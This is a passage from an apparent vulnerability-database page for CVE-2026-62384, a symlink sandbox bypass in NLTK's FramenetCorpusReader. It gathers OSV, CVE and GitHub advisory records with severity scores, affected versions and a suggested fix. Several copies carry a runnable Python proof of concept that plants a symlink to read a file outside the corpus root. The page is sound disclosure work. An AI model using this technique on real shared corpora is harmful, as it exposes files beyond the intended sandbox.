cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}} # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\") # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK\u0027s own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581\u0027s own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn\u0027t achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.",
"id": "BREW-safety-CVE-2026-62384",
"modified": "2026-09-17T17:35:56Z",
"published": "2026-09-04T09:59:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62384"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3726"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)",
"upstream": [
"PYSEC-2026-3789",
"CVE-2026-62384",
"GHSA-f833-7jw8-xwrv"
]
}
CVE-2026-62384 (GCVE-0-2026-62384)
Vulnerability from cvelistv5 – Published: 2026-08-22 14:12 – Updated: 2026-08-24 18:39
VLAI
EPSS
VEX
Title
NLTK FramenetCorpusReader Symlink Sandbox Bypass before 3.10.2
Summary
NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via frame_by_name(), _lu_file(), or doc() methods.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-24 18:39 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/nltk/nltk/security/advisories/… | vendor-advisory |
| https://www.vulncheck.com/advisories/nltk-framene… | third-party-advisory |
Impacted products
Date Public
2026-08-07 00:00
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-62384",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-24T18:39:17.570737Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-24T18:39:40.142Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/nltk",
"product": "nltk",
"vendor": "nltk",
"versions": [
{
"lessThan": "3.10.2",
"status": "affected",
"version": "3.10.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.10.2",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
"versionEndExcluding": "3.10.2",
"versionStartIncluding": "3.10.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "LiteshGhute"
}
],
"datePublic": "2026-08-07T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via frame_by_name(), _lu_file(), or doc() methods."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-22T14:12:37.283Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-f833-7jw8-xwrv)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
},
{
"name": "VulnCheck Advisory: NLTK FramenetCorpusReader Symlink Sandbox Bypass before 3.10.2",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
}
],
"title": "NLTK FramenetCorpusReader Symlink Sandbox Bypass before 3.10.2",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-62384",
"datePublished": "2026-08-22T14:12:37.283Z",
"dateReserved": "2026-07-13T22:40:54.412Z",
"dateUpdated": "2026-08-24T18:39:40.142Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-F833-7JW8-XWRV
Vulnerability from github – Published: 2026-09-08 16:39 – Updated: 2026-09-08 16:39
VLAI
Summary
NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
Details
This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (nltk/corpus/reader/framenet.py)
frame_by_name()reads<frame_dir>/<name>.xml_lu_file()reads<lu_dir>/lu<id>.xmldoc()reads<fulltext_dir>/<filename>
All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.
Proof of concept
Self-contained, runnable end to end.
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("<frameRelations/>")
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write(
'<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
"</frame>"
)
# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build
result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])
Actual output when run against unpatched main (commit 35813c8):
frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.
Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.
Why this is in scope
- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own
SECURITY.mdnames "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool.
- Confirmed unintentional: PR #3581's own description states the goal was to route through "the
nltk.pathsecsandbox... including the strictENFORCE=Truemode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, sinceabspath()never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).
Suggested fix
Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62384"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T16:39:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`\u0027s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus\u0027s own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n f.write(\n \u0027\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e\u0027\n \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n \"\u003c/frame\u003e\"\n )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}} # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\") # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK\u0027s own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581\u0027s own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn\u0027t achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.",
"id": "GHSA-f833-7jw8-xwrv",
"modified": "2026-09-08T16:39:24Z",
"published": "2026-09-08T16:39:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62384"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3726"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…
Loading…